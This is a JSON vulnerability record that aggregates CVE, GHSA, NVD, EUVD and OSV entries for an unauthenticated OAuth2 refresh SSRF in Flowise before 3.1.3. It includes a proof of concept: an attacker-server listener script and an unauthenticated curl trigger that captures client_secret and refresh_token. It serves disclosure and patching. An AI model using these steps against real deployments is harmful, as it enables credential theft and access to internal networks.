{"id":"CVE-2026-69250","aliases":["EUVD-2026-52698","GHSA-r745-8hwv-h473"],"status":"published","title":"Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.","severity":{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00573,"percentile":0.47664,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-639"],"published":"2026-08-04T14:20:35Z","modified":"2026-10-28T02:30:28Z","fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.1.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.2"},{"fixed":"3.1.3"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]}],"products":[{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3","tags":["x_refsource_MISC","Patch","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-r745-8hwv-h473"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69250.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69250","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-69250","title":"Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T14:20:35.395Z","modified":"2026-08-04T19:52:53.398Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T13:50:27.582139Z"}],"euvd":[{"id":"EUVD-2026-52698","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T14:20:35Z","modified":"2026-08-04T19:52:53Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:02:22.516769Z"}],"ghsa":[{"id":"GHSA-r745-8hwv-h473","title":"Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration","description":"### Summary\n\nThe OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration.\n\n### Details\n\nThe vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`.\n\nConfirmed in runtime code:\n\n1. **Unauthenticated route via whitelist**\n   - `dist/utils/constants.js` includes:\n     - `/api/v1/oauth2-credential/callback`\n     - `/api/v1/oauth2-credential/refresh`\n   - `dist/index.js` auth middleware uses:\n     - `const isWhitelisted = whitelistURLs.some((url) =\u003e req.path.startsWith(url))`\n   - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted.\n\n2. **User-controlled SSRF target**\n   - In refresh handler (`dist/routes/oauth2/index.js`):\n     - loads credential by `credentialId`\n     - decrypts credential data\n     - reads `accessTokenUrl`\n     - executes:\n       - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)`\n   - No `secureAxiosRequest()` / denylist wrapper is used in this path.\n\n3. **Non-blind response reflection**\n   - Response returns:\n     - `tokenInfo: { ...tokenData, ... }`\n   - `tokenData` is the attacker/internal server response body.\n\n4. **Secrets sent to SSRF target**\n   - Request body includes:\n     - `client_id`\n     - `client_secret`\n     - `grant_type=refresh_token`\n     - `refresh_token`\n\n### PoC\n\n#### Environment used\n\n- `flowiseai/flowise:latest` container (`localhost:3000`)\n- Attacker server (`localhost:18081`) returning JSON\n\n#### Step 1: Start attacker server\n\n```bash\npython3 -u - \u003c\u003c'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass H(BaseHTTPRequestHandler):\n    def do_POST(self):\n        l = int(self.headers.get('Content-Length','0'))\n        b = self.rfile.read(l).decode('utf-8', errors='replace')\n        print('REQUEST_PATH', self.path, flush=True)\n        print('REQUEST_BODY', b, flush=True)\n        self.send_response(200)\n        self.send_header('Content-Type','application/json')\n        self.end_headers()\n        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())\n    def log_message(self, fmt, *args):\n        pass\n\nHTTPServer(('0.0.0.0', 18081), H).serve_forever()\nPY\n```\n\n#### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)\n\nIn validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.\n\nResulting credential ID used in runtime validation:\n\n- `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef`\n\n#### Step 3: Trigger refresh **without auth**\n\n```bash\ncurl -i -X POST \\\n  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \\\n  -H 'Content-Type: application/json' \\\n  -d '{}'\n```\n\nObserved response:\n\n```json\n{\n  \"success\": true,\n  \"message\": \"OAuth2 token refreshed successfully\",\n  \"credentialId\": \"24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef\",\n  \"tokenInfo\": {\n    \"ok\": true,\n    \"source\": \"attacker-server\",\n    \"echo_len\": 76,\n    \"has_new_refresh_token\": false\n  }\n}\n```\n\nAttacker server logs captured:\n\n```text\nREQUEST_PATH /token\nREQUEST_BODY client_id=cid2\u0026client_secret=csec2\u0026grant_type=refresh_token\u0026refresh_token=r2\n```\n\nThis confirms:\n- unauthenticated trigger,\n- server-side POST to attacker-controlled URL,\n- exfiltration of OAuth2 secrets in POST body,\n- full response reflection to client (`tokenInfo`).\n\n### Impact\n\n- **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration.\n- **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials.\n- **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).\n- **Technical impact:**\n  - outbound SSRF to attacker/internal targets,\n  - direct leak of `client_secret` and `refresh_token` to SSRF target,\n  - direct response read from target via API response (`tokenInfo`).\n- **Deployment impact:**\n  - cloud/internal network reachability can expose metadata/internal services depending on egress controls.","status":"published","published":"2026-08-04T14:20:49Z","modified":"2026-08-04T14:20:51Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T14:40:56.852119Z"}],"nvd":[{"id":"CVE-2026-69250","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T15:16:44.277Z","modified":"2026-10-23T23:10:00.157Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T14:12:34.643497Z"}],"osv":[{"id":"CVE-2026-69250","title":"Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T14:20:35.395Z","modified":"2026-10-28T02:30:28.366858581Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T15:45:15.164658Z"},{"id":"GHSA-r745-8hwv-h473","title":"Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration","description":"### Summary\n\nThe OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration.\n\n### Details\n\nThe vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`.\n\nConfirmed in runtime code:\n\n1. **Unauthenticated route via whitelist**\n   - `dist/utils/constants.js` includes:\n     - `/api/v1/oauth2-credential/callback`\n     - `/api/v1/oauth2-credential/refresh`\n   - `dist/index.js` auth middleware uses:\n     - `const isWhitelisted = whitelistURLs.some((url) =\u003e req.path.startsWith(url))`\n   - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted.\n\n2. **User-controlled SSRF target**\n   - In refresh handler (`dist/routes/oauth2/index.js`):\n     - loads credential by `credentialId`\n     - decrypts credential data\n     - reads `accessTokenUrl`\n     - executes:\n       - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)`\n   - No `secureAxiosRequest()` / denylist wrapper is used in this path.\n\n3. **Non-blind response reflection**\n   - Response returns:\n     - `tokenInfo: { ...tokenData, ... }`\n   - `tokenData` is the attacker/internal server response body.\n\n4. **Secrets sent to SSRF target**\n   - Request body includes:\n     - `client_id`\n     - `client_secret`\n     - `grant_type=refresh_token`\n     - `refresh_token`\n\n### PoC\n\n#### Environment used\n\n- `flowiseai/flowise:latest` container (`localhost:3000`)\n- Attacker server (`localhost:18081`) returning JSON\n\n#### Step 1: Start attacker server\n\n```bash\npython3 -u - \u003c\u003c'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass H(BaseHTTPRequestHandler):\n    def do_POST(self):\n        l = int(self.headers.get('Content-Length','0'))\n        b = self.rfile.read(l).decode('utf-8', errors='replace')\n        print('REQUEST_PATH', self.path, flush=True)\n        print('REQUEST_BODY', b, flush=True)\n        self.send_response(200)\n        self.send_header('Content-Type','application/json')\n        self.end_headers()\n        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())\n    def log_message(self, fmt, *args):\n        pass\n\nHTTPServer(('0.0.0.0', 18081), H).serve_forever()\nPY\n```\n\n#### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)\n\nIn validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.\n\nResulting credential ID used in runtime validation:\n\n- `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef`\n\n#### Step 3: Trigger refresh **without auth**\n\n```bash\ncurl -i -X POST \\\n  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \\\n  -H 'Content-Type: application/json' \\\n  -d '{}'\n```\n\nObserved response:\n\n```json\n{\n  \"success\": true,\n  \"message\": \"OAuth2 token refreshed successfully\",\n  \"credentialId\": \"24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef\",\n  \"tokenInfo\": {\n    \"ok\": true,\n    \"source\": \"attacker-server\",\n    \"echo_len\": 76,\n    \"has_new_refresh_token\": false\n  }\n}\n```\n\nAttacker server logs captured:\n\n```text\nREQUEST_PATH /token\nREQUEST_BODY client_id=cid2\u0026client_secret=csec2\u0026grant_type=refresh_token\u0026refresh_token=r2\n```\n\nThis confirms:\n- unauthenticated trigger,\n- server-side POST to attacker-controlled URL,\n- exfiltration of OAuth2 secrets in POST body,\n- full response reflection to client (`tokenInfo`).\n\n### Impact\n\n- **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration.\n- **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials.\n- **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).\n- **Technical impact:**\n  - outbound SSRF to attacker/internal targets,\n  - direct leak of `client_secret` and `refresh_token` to SSRF target,\n  - direct response read from target via API response (`tokenInfo`).\n- **Deployment impact:**\n  - cloud/internal network reachability can expose metadata/internal services depending on egress controls.","status":"published","published":"2026-08-04T14:20:49Z","modified":"2026-08-04T14:41:09.018557Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T15:46:55.480549Z"}]}}